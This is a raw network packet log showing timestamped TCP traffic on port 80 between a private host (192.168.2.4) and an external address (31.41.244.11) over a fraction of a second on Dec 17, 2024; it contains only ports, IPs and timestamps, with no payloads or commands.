Dec 17, 2024 22:06:23.327661991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.327716112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.328596115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.328609943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.328645945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.328675032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.329632044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.329644918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.329678059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.329701900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.330588102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.330640078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.330715895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.330756903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.331619978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.331634998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.331677914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.332494020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.332776070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.332822084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.333623886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.333677053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.333772898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.334477901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.334527016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.334618092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.334954023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.335577965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.335725069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.335776091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.336541891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.336684942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.336735010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.337558985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.337698936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.337747097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.338834047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.338880062 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.338973999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.339687109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.339734077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.339945078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.340502977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.340548038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.340646029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.340687037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.341496944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.341655970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.341701031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.342452049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.342581034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.342638969 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.343514919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.343529940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.343571901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.344332933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.344377995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.344585896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.345571995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.345586061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.345633030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.346566916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.346582890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.346643925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.347608089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.347625017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.347686052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.348537922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.348550081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.348592997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.349487066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.349534035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.349769115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.350071907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.350554943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.350569010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.350615978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.351392984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.351914883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.488406897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.488430977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.488595009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.488893986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.489069939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.489130974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.489865065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.490120888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.490185976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.490230083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.490947962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.490999937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.491031885 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.491776943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.491847992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.491863012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.491898060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.491931915 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.492892027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.492913008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.492961884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.493869066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.493895054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.493936062 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.494880915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.494898081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.494942904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.495991945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.496031046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.496089935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.496902943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.496921062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.496982098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.497883081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.497925043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.497936010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.497978926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.498838902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.498905897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.498955011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.499854088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.499900103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.499980927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.500878096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.500893116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.500936031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.500962019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.501820087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.502096891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.502160072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.502829075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.502948046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.502957106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.503837109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.503890991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.503917933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.504832983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.504903078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.505064011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.505892992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.505934000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.505947113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.506844044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.506895065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.507443905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.507850885 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.507870913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.507899046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.507914066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.508851051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.508908033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.508955002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.509850025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.510099888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.510149002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.510884047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.510946989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.510977030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.511846066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.511898041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.512294054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.512862921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.512917042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.513088942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.513155937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.513848066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.514153957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.514206886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.514874935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.514949083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.515101910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.515902042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.515917063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.516000032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.516982079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.517002106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.517034054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.517060995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.517935991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.517956972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.518016100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.518918037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.518937111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.518990040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.519918919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.519957066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.520005941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.520900011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.520939112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.520986080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.521956921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.521975994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.522032022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.522885084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.522948980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.523066998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.523921013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.523968935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.524003983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.524878025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.524919987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.525289059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.525855064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.525906086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.526336908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.526863098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.526906967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.527070045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.527863026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.527904034 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.528563976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.528942108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.528980017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.529324055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.529968023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.530013084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.530031919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.530894995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.530939102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.531083107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.531884909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.531932116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.532075882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.532882929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.532929897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.532979012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.533984900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.534034014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.534060001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.534883976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.534928083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.535176992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.535929918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.535943031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.535969973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.535984039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.536930084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.537111044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.537152052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.537880898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.538345098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.538407087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.538938999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.539135933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.539176941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.539885998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.539936066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.539972067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.540930033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.542953968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.680460930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.680499077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.680565119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.680957079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.680969954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.681008101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.681718111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.681879044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.681922913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.682729006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.682740927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.682774067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.683739901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.683749914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.683780909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.684721947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.684734106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.684767008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.685724974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.685736895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.685771942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.686760902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.686786890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.686826944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.687721014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.687793970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.687848091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.688719988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.688813925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.688848972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.689697027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.689903021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.689946890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.690717936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.690820932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.690881968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.691725016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.692071915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.692109108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.692713976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.692939043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.692981958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.693789005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.693924904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.693962097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.694717884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.694803953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.694840908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.695719004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.695730925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.695763111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.696815968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.696829081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.696862936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.697798014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.697808981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.697840929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.698746920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.698796988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.698839903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.699975967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.699986935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.700020075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.700731993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.700877905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.700936079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.701770067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.701797962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.701841116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.702785969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.702797890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.702841997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.703747988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.703788042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.703811884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.703912020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.704777956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.704936028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.704982042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.705952883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.706378937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.706418991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.706798077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.706809998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.706845999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.707726002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.707835913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.707873106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.708759069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.708910942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.708955050 CET	49793	80	192.168.2.4	31.41.244.11
